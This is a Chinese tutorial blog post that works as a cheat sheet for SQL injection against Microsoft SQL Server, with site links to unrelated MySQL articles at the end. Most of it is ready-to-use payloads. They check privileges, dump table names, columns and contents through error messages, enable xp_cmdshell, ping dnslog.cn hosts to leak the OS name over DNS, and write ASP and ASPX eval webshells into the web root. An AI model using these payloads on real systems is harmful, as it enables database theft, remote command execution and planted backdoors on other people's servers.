MSsql数据库 sql注入

2024-04-09 17:20

本文主要是介绍MSsql数据库 sql注入,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

  • 和mysql不同;每个数据库都有自己的信息总结表
  • 四个系统数据库
    • master
      • sysdatabases :所有数据库信息
        • name :所有数据库名
      • sysobjects :数据库所有对象的信息
      • syscolumns :字段信息
      • 固定字段名
        • name 对象名
        • id 对象id
        • xtype 对象类型代码
          • xtype='U' 用户创建的表
          • xtype='S' 系统表
    • model
      • sysobjects
      • syscolumns
    • msdb
      • sysobjects
      • syscolumns
    • tempdb
      • sysobjects
      • syscolumns
  • 用户自己创建的数据库也会自动携带下面字段
    • sysobjects
    • syscolumns
  • 常用函数
    • db_name() :数据库名
    • host_name() :主机名
    • current_user :返回数据库当前的用户名
    • user :用户
    • substring() :截取函数;不能用substr()
    • @@verison :查看数据库版本
    • char() :ascii码转字符
    • cast(text as type() :字符类型转换;转化失败就会以text结果显示在页面上
    • object_id() :根据表名返回数据库表名id
    • object_name() :根据id返回数据库表名
    • col_name(object_id,column_id) :返回指定表中指定字段的名称
    • col_name(object_id('users'),2)
  • 调用表名
    • 数据库名.用户名.表名
  • 报错注入
    • 'or 1=convert(int,@@version)--
    • 1-user
    • 1/user
    • convert(int,user)
    • db_name()
  • 注入流程
    • 判断权限
      • 权限:sa 、db_owner 、public
      • and 1=(select IS_SRVROLEMEMBER('sysadmin')) --
      • and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
      • and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
      • and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
      • and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
      • and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
      • and 1=(select IS_MEMBER('db_owner'));-
    • 获取当前数据库
      • and 1=(select db_name()) --
    • 获取当前数据库的表名
      • and 1=convert(int,(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))) --
    • 获取当前数据库中表的所有字段
      • and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
    • 读取内容
      • and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--
  • 命令执行
    • 开启xp_cmdshell,0为关闭,1为开启
      • ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; --
    • 关闭xp_cmdshell
      • ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE; --
    • 执行ping判断是否能执行xp_cmdshell和服务器是否通外网
      • ;exec master..xp_cmdshell "ping teki6x.dnslog.cn" –
      • ;execute('xp_cmdshell "“’)
      • ;exec xp_cmdshell ' ping%20%25os%25.4mt18t.dnslog.cn '
    • 写入一句话木马;需要知道网站根目录
      • asp
        • ;exec master..xp_cmdshell 'echo ^<%25eval request(1234)%25^> > C:\Inetpub\wwwroot\test.asp' --
      • aspx
        • ;exec master..xp_cmdshell 'echo ^<%25@ Page Language="Jscript"%25^>^<%25eval(Request.Item["aaa"],"unsafe");%25^> > C:\Inetpub\wwwroot\test.aspx' --

这篇关于MSsql数据库 sql注入的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/888763

相关文章

SQL Server 中的表进行行转列场景示例

《SQLServer中的表进行行转列场景示例》本文详细介绍了SQLServer行转列(Pivot)的三种常用写法,包括固定列名、条件聚合和动态列名,文章还提供了实际示例、动态列数处理、性能优化建议... 目录一、常见场景示例二、写法 1:PIVOT(固定列名)三、写法 2:条件聚合(CASE WHEN)四、

Mybatis对MySQL if 函数的不支持问题解读

《Mybatis对MySQLif函数的不支持问题解读》接手项目后,为了实现多租户功能,引入了Mybatis-plus,发现之前运行正常的SQL语句报错,原因是Mybatis不支持MySQL的if函... 目录MyBATis对mysql if 函数的不支持问题描述经过查询网上搜索资料找到原因解决方案总结Myb

MySQL 筛选条件放 ON后 vs 放 WHERE 后的区别解析

《MySQL筛选条件放ON后vs放WHERE后的区别解析》文章解释了在MySQL中,将筛选条件放在ON和WHERE中的区别,文章通过几个场景说明了ON和WHERE的区别,并总结了ON用于关... 今天我们来讲讲数据库筛选条件放 ON 后和放 WHERE 后的区别。ON 决定如何 "连接" 表,WHERE

mysql_mcp_server部署及应用实践案例

《mysql_mcp_server部署及应用实践案例》文章介绍了在CentOS7.5环境下部署MySQL_mcp_server的步骤,包括服务安装、配置和启动,还提供了一个基于Dify工作流的应用案例... 目录mysql_mcp_server部署及应用案例1. 服务安装1.1. 下载源码1.2. 创建独立

Mysql中RelayLog中继日志的使用

《Mysql中RelayLog中继日志的使用》MySQLRelayLog中继日志是主从复制架构中的核心组件,负责将从主库获取的Binlog事件暂存并应用到从库,本文就来详细的介绍一下RelayLog中... 目录一、什么是 Relay Log(中继日志)二、Relay Log 的工作流程三、Relay Lo

MySQL日志UndoLog的作用

《MySQL日志UndoLog的作用》UndoLog是InnoDB用于事务回滚和MVCC的重要机制,本文主要介绍了MySQL日志UndoLog的作用,文中介绍的非常详细,对大家的学习或者工作具有一定的... 目录一、Undo Log 的作用二、Undo Log 的分类三、Undo Log 的存储四、Undo

MySQL游标和触发器的操作流程

《MySQL游标和触发器的操作流程》本文介绍了MySQL中的游标和触发器的使用方法,游标可以对查询结果集进行逐行处理,而触发器则可以在数据表发生更改时自动执行预定义的操作,感兴趣的朋友跟随小编一起看看... 目录游标游标的操作流程1. 定义游标2.打开游标3.利用游标检索数据4.关闭游标例题触发器触发器的基

MySQL查看表的历史SQL的几种实现方法

《MySQL查看表的历史SQL的几种实现方法》:本文主要介绍多种查看MySQL表历史SQL的方法,包括通用查询日志、慢查询日志、performance_schema、binlog、第三方工具等,并... 目录mysql 查看某张表的历史SQL1.查看MySQL通用查询日志(需提前开启)2.查看慢查询日志3.

MySQL底层文件的查看和修改方法

《MySQL底层文件的查看和修改方法》MySQL底层文件分为文本类(可安全查看/修改)和二进制类(禁止手动操作),以下按「查看方法、修改方法、风险管控三部分详细说明,所有操作均以Linux环境为例,需... 目录引言一、mysql 底层文件的查看方法1. 先定位核心文件路径(基础前提)2. 文本类文件(可直

MySQL数据目录迁移的完整过程

《MySQL数据目录迁移的完整过程》文章详细介绍了将MySQL数据目录迁移到新硬盘的整个过程,包括新硬盘挂载、创建新的数据目录、迁移数据(推荐使用两遍rsync方案)、修改MySQL配置文件和重启验证... 目录1,新硬盘挂载(如果有的话)2,创建新的 mysql 数据目录3,迁移 MySQL 数据(推荐两